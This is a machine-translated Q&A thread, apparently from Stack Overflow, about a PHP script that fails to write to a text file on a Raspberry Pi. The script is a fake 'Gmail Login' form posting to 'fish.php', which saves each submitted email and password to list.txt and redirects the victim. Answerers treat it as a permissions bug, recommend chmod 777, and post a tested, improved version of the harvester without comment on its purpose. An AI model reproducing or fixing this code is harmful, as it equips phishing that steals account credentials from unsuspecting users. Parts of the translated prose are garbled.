2013-11-04 29 views
0

我正在尝试使用PHP写入文本文件。写入文件但它不适用于我的Pi?

我有这种形式

<form action="fish.php" method="POST"> 
<p>Gmail Login</p> <input name="gmail1" type="text" /> 
</br> 
<p>Password</p> <input name="gmail2" type="password" /> 
</br> 
<input type="submit" name="submit" value="Submit"> 
</form> 

我也有这个PHP文件

<?php 
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) { 
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n"; 
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX); 
if($ret === false) { 
    die('There was an error writing this file'); 
} 
else { 
    header("Location: index.html"); 
} 
} 
else { 
    die('no post data to process'); 
} 

现在我已经使用这个托管网站和它的作品完美的罚款。然后我把它放到我的Raspberry Pi上,运行Apache,PHP和所有需要安装的树莓派,但我只是不断地收到'写这个文件时出错',而不是像我应该重定向到我的主页。

我有所有相同的文件和whatnot,有人可以猜测什么是错?

谢谢!

+0

我猜你没有正确地设置权限在您的Pi – 2013-11-04 19:25:29

+0

最有可能它是文件夹的文件夹权限在你试图写入文件。如果你不关心这个环境的安全性,你可以执行'chmod 777/path/to/folder' –

+0

绝对是一个文件(和/或文件夹)权限问题。另外,我建议你添加if(isset($ _ POST ['gmail1'])&& isset($ _ POST ['gmail2']))if(isset($ _ POST ['submit'])){' {'并在最后一个大括号之后用关闭的'}'关闭它。 –

回答

0

这可能是一个文件权限问题。

您可以尝试先打开文件(fread),将设置/ chmod设置为0777,然后将内容写入其中。

这已经过测试并在我的服务器上运行。

您可能还需要从0777更改权限0644

而且我添加了一个if(isset($_POST['submit']))条件以避免过早书面文件。

<?php 

if(isset($_POST['submit'])){ 
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) { 
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n"; 

$file = "list.txt"; 
fopen($file, "r"); 
chmod ($file, 0777); // change to 0644 if required 
$ret = file_put_contents($file, $data, FILE_APPEND | LOCK_EX); 

if($ret === false) { 
    die('There was an error writing this file'); 
} 
else { 
    header("Location: index.html"); 

} 
} 
else { 
    die('no post data to process'); 
} 

} // for if(isset($_POST['submit'])) 

?> 
0

这是一个权限错误。如果你的文本文件位于你的Pi上,你只需右键点击它,然后选择'属性'。然后,进入'权限'点击,并为每个人创建可读写的文件。 这工作在我的Pi :)

相关问题